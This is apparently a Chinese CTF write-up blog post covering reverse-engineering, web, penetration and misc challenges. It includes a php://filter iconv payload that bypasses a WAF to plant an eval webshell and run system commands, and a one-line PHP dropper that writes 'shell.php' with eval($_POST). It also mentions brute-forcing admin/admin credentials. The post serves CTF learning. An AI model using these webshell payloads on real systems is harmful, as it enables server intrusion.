留言
随缘更新,只公布解题结果,太懒了。。。

Reverse
模拟人生

unsigned __int64 __fastcall sub_40350F(int a1, int a2, int a3, int a4, int a5)
{
__int64 v5; // rbx
int *v6; // rdx
int v11; // [rsp+20h] [rbp-F0h]
int i; // [rsp+24h] [rbp-ECh]
__int64 v13; // [rsp+28h] [rbp-E8h]
int v14[8]; // [rsp+30h] [rbp-E0h]
int v15[42]; // [rsp+50h] [rbp-C0h] BYREF
unsigned __int64 v16; // [rsp+F8h] [rbp-18h]
v16 = __readfsqword(0x28u);
v13 = a1;
v11 = 0;
v14[0] = a2;
v14[1] = a3;
v14[2] = a4;
v14[3] = a5;
while ( v11 <= 3 )
{
v5 = v13 * v14[v11];
v13 = v5 / (int)sub_4034E1((unsigned int)v13, (unsigned int)v14[v11++]);
}
if ( a2 > 0 && a3 > 0 && a4 > 0 && a5 > 0 && a1 == 60 && v13 == 286395540 )
{
v6 = v15;
memset(v15, 0, 0xA0uLL);
v15[0] = 432;
v15[1] = 408;
v15[2] = 429;
v15[3] = 438;
v15[4] = 452;
v15[5] = 246;
v15[6] = 243;
v15[7] = 417;
v15[8] = 423;
v15[9] = 444;
v15[10] = 236;
v15[11] = 231;
v15[12] = 203;
v15[13] = 447;
v15[14] = 227;
v15[15] = 435;
v15[16] = 252;
v15[17] = 224;
v15[18] = 204;
v15[19] = 443;
v15[20] = 419;
v15[21] = 248;
v15[22] = 442;
v15[23] = 241;
v15[24] = 203;
v15[25] = 251;
v15[26] = 445;
v15[27] = 239;
v15[28] = 441;
v15[29] = 254;
v15[30] = 444;
v15[31] = 246;
v15[32] = 203;
v15[33] = 245;
v15[34] = 255;
v15[35] = 445;
v15[36] = 434;
v15[37] = 478;
for ( i = 0; v15[i]; ++i )
std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)(char)((v15[i] >> 2) ^ 0xA), v6);
}
return __readfsqword(0x28u) ^ v16;
}{/collapse-item}
以上是sub_40350F函数内的代码,不难看出v15存储的就是做过处理的flag,关键就是 v15[i] >> 2 ^ 0xa,我们就模仿它写个脚本解下,就能拿到最终的flag。
v15 = [
432, 408, 429, 438, 452, 246, 243, 417,
423, 444, 236, 231, 203, 447, 227, 435,
252, 224, 204, 443, 419, 248, 442, 241,
203, 251, 445, 239, 441, 254, 444, 246,
203, 245, 255, 445, 434, 478
]
for num in v15:
result = chr((num >> 2) ^ 0xA)
print(result, end='')Web
yc2_web1

<?php
highlight_file(__FILE__);
error_reporting(0);
function waf01($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log/i',$x)){
die('You are hacker!!! No!!!');
}
}
$file=$_GET['file'];
$contents=$_GET['contents'];
waf01($file);
file_put_contents($file, "<?php die();?>".$contents);
GET: ?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php&contents=?<hp pe@av(l_$OPTSa[aa]a;)>?
POST: aaaa=system("tac flag.php");先GET请求下这个时候木马就被写入到服务器里了,然后POST提交就能获取到flag。
综合渗透1

这题要进后台先找打后台,然后账号密码爆破,账号密码 admin/admin
第一题是有提示,第二题flag:在home
综合渗透1-2


<?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["pass"]);?>');?>前端找可执行php代码的地方,写入一句话木马。
第三个flag,在第二题有提示:在数据库。
综合渗透1-3

这样就都找到了。
Crypto
...
Misc
伪加密

找到 14 00 09 这段改成 14 00 00 保存,即可解zip压缩包伪加密。
地狱模式

题目是一个jar文件,玩游戏坚持一分钟就给你flag,这里直接反编译下取flag。
打篮球之前先找到flag吧

压缩包里是一个ELF文件,我直接用strings 过滤下flag,直接就拿到了。

这是sql盲注嘛?

直接用http对象列表查看,字节大小定位返回内容,这里我已经确定 21 bytes 是成功的,那么排序下找盲注的数字,数字ASCII转换字符拼接就是flag了。
...
评论 (0)